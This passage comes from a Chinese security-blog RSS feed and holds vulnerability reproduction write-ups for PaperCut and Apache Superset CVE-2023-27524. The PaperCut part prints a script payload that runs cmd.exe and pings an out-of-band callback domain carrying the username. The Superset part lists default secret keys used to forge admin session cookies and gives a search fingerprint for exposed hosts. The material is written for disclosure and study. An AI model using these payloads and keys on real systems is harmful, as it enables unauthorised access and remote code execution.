0.1em;">发送请求后就会302跳转到管理员用户页面，对应的请求调用页面也就是第一次配置的请求页面，点击登陆提交请求就可以通过调用方法 performLogin 以管理员权限登陆</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="172" data-backw="474" data-ratio="0.36203703703703705" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=672ea36c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUiaJ5rDjUJr8r8AF96cR205mKfiaYUKz6nwG45UibQwBQ7JRXIcENtmIHw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="181" data-backw="474" data-ratio="0.38266666666666665" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=896ebab1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUDXoff5F5OOXm0Gzmrf2sbWUjTqGibFBekaFkfC8hibWMWficFhuc5J8pw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">在后台中存在脚本调用方法，根据官网配置打开扩展的 Java 类</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><a href="https://www.papercut.com/kb/Main/EnablingPrintScriptingDeviceScripting" target="_blank">https://www.papercut.com/kb/Main/EnablingPrintScriptingDeviceScripting</a><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">#using-extended-java-classes-in-scripts</span><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="228" data-backw="474" data-ratio="0.48104265402843605" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="844" src="https://wechat2rss.xlab.app/img-proxy/?k=e110dcf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUnyTtl38I5DGImqOnsLNfdxsBzWmfac6xOgDlB1PY5iaR0u28x7cqPtg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="218" data-backw="474" data-ratio="0.46062992125984253" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="762" src="https://wechat2rss.xlab.app/img-proxy/?k=ddcdddaa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUPBr7cJ4on495JGmtwFIXmfY9nCwYhZDnsQhsicguEnACMUbSdqAHLfw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">再通过打印机的脚本编写就可以达到组合RCE</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a626a4;line-height: 26px;">function</span> printJobHook(inputs, actions) {}<br/>java.lang.Runtime.getRuntime().<span style="color: #c18401;line-height: 26px;">exec</span>(<span style="color: #50a14f;line-height: 26px;">&#39;cmd.exe /C ping %USERNAME%.cgvpkz72vtc0000ge0eggep5j9oyyyyyb.oast.fun&#39;</span>);<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="193" data-backw="474" data-ratio="0.40731995277449823" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="847" src="https://wechat2rss.xlab.app/img-proxy/?k=40eac1a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUtyaEZaEK4MS0muznfiaps8OBeDWAU7APPEfcZZ0wQYl9evTs2FkVibiaA%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="129" data-backw="474" data-ratio="0.2712962962962963" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=18ac1bcb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUyYJdHb3SbOb1pz9rLCZp16wNaHEXyZjoiaCVrTE2AKwVRsgI5ZY5TuQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关注公众号</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号<br/>想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～<br/></code></pre><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weui-theme="light" data-id="Mzg3NDU2MTg0Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section><br/></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weui-theme="light" data-id="MzIyMjkzMzY4Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></section></section><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;font-weight: bold;font-size: 22px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;white-space: normal;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">支持作者</span></h2><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="201" data-backw="474" data-ratio="0.42394822006472493" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="618" src="https://wechat2rss.xlab.app/img-proxy/?k=30d74f92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUHaGcUPiaR17WnC5FicjE6xqDllNmOlOmAKIlLuzMic91KIaCuun9OmyxQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关于文库</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">在线文库: <a href="https://wiki.peiqi.tech (暂时关闭个人用户使用)" target="_blank">https://wiki.peiqi.tech (暂时关闭个人用户使用)</a><br/>Github: <a href="https://github.com/PeiQi0/PeiQi-WIKI-Book " target="_blank">https://github.com/PeiQi0/PeiQi-WIKI-Book </a><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.5444444444444444" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0b7bde2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUVZad6mBl0ice2KWT3SY5x7UTF2uoAdP1cuLibFsZw8a30kRhk0xAzI8Q%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">文库动态</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="210" data-backw="474" data-ratio="0.44351851851851853" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4d2e620f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUQdDUBqqYJEfFqwcJiaVhIRA9VGMMs5wicbOaa0ibQCD2BH9ShmnT1yT3w%2F640%3Fwx_fmt%3Dpng"/></figure></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://github.com/PeiQi0/PeiQi-WIKI-Book">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b154beb2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493790%26idx%3D1%26sn%3Dc6eb7b7480638b11e5fc7405aaed44bb%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 02 May 2023 13:50:00 +0800</pubDate>
    </item>
    <item>
      <title>Apache Superset SECRET_KEY 未授权访问漏洞 CVE-2023-27524</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493755&amp;idx=1&amp;sn=37a32e87993577de96296e3d7bbfda38</link>
      <description>Apache Superset SECRET_KEY 未授权访问漏洞 CVE-2023-27524</description>
      <content:encoded><![CDATA[<p>
原创 <span>PeiQi文库</span> <span>2023-04-30 22:41</span> <span style="display: inline-block;">湖北</span>
</p>

<p>Apache Superset SECRET_KEY 未授权访问漏洞 CVE-2023-27524</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9e2958e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0XQyOtYsCMLzjADKbgcR9Xn0NLKDXeyH6kCay8icLZAjk1lJsQib2WlXg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="474" data-backw="474" data-ratio="1" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=89d1b7e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0dA52HlUHYuWv3DdOgcgx8oKkEl0sWtdZicDnlBr2SkDBToeSrxmEfZw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="474" data-ratio="0.4257142857142857" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=4507e4b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0Fpo4Y1b4sJoIw4vNhxW6huc7eVwibjLz7ibMRHp1NAyhib82xEia7I1hyg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞描述</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">Apache Superset 是一款现代化的开源大数据工具，也是企业级商业智能 Web 应用，用于数据探索分析和数据可视化。它提供了简单易用的无代码可视化构建器和声称是最先进的 SQL 编辑器，用户可以使用这些工具快速地构建数据仪表盘。CVE-2023-27524 中，未经授权的攻击者可根据默认配置的SECRET_KEY伪造成管理员用户访问Apache Superset。</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞影响</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">Apache Superse &lt;= 2.0.1</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">网络测绘</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">app.name=&#34;Apache Superset&#34;</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞复现</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">登陆页面</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="150" data-backw="474" data-ratio="0.31574074074074077" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7f36b1a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0VOQ15gB4uIKKp01uRnKDOr1eytxCwJaIXwo0djLE7gBZJqC0bIFpbg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">漏洞修复补丁</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNojZYXjHvq3mp73aa6lQpbuxIic3IBWznlwnfJQ4xiaCqCictC1R372oQ3VFO6XIC13nhMng0fQPhSF9/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><a href="https://github.com/apache/superset/pull/23186/files" target="_blank">https://github.com/apache/superset/pull/23186/files</a><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="235" data-backw="474" data-ratio="0.49469964664310956" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="849" src="https://wechat2rss.xlab.app/img-proxy/?k=9c2d3620&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0obicXPIuF85TEN148HIIoS07ia8diaM5X0NACpKDH0BJjr3JBTeb4qrxg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">补丁代码中，新建了判断用户是否使用了默认的Key进行配置，如果为默认的Key，就直接中断启动,。但在 Docker的 env 下还是添加了固定的 Key: TEST_NON_DEV_SECRET</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="168" data-backw="474" data-ratio="0.3540445486518171" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=549b569c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU02C1gez89QicDEamtHsQVH6nOnl5IdR0ziapibsZehs2mLV7hrlDsr0cQA%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNojZYXjHvq3mp73aa6lQpbuxIic3IBWznlwnfJQ4xiaCqCictC1R372oQ3VFO6XIC13nhMng0fQPhSF9/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># <a href="https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py" target="_blank">https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py</a></span><br/>SECRET_KEYS = [<br/>    b<span style="color: #50a14f;line-height: 26px;">&#39;\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h&#39;</span>,  <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># version &lt; 1.4.1</span><br/>    b<span style="color: #50a14f;line-height: 26px;">&#39;CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET&#39;</span>,          <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># version &gt;= 1.4.1</span><br/>    b<span style="color: #50a14f;line-height: 26px;">&#39;thisISaSECRET_1234&#39;</span>,                            <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># deployment template</span><br/>    b<span style="color: #50a14f;line-height: 26px;">&#39;YOUR_OWN_RANDOM_GENERATED_SECRET_KEY&#39;</span>,          <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># documentation</span><br/>    b<span style="color: #50a14f;line-height: 26px;">&#39;TEST_NON_DEV_SECRET&#39;</span>                            <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># docker compose</span><br/>]<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">这里拿Docker下的环境举例</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="183" data-backw="474" data-ratio="0.38666666666666666" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=b9a87833&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU024hOlXhiaDK3D2wEcq4AAichia8Qye9Mh60mr3ibq1cyGgxRVn7sO4syew%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">初次请求时会获取到 Cookie, 使用默认Key验证 Cookie是否可被伪造</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="34" data-backw="474" data-ratio="0.0712962962962963" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=01961d73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0hygtImZianQsUavpMz9k5rpTExHNhEvtqQuJlfIYB9t4MjWbvcZ2DzA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">登陆主页面观察主要参数</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: 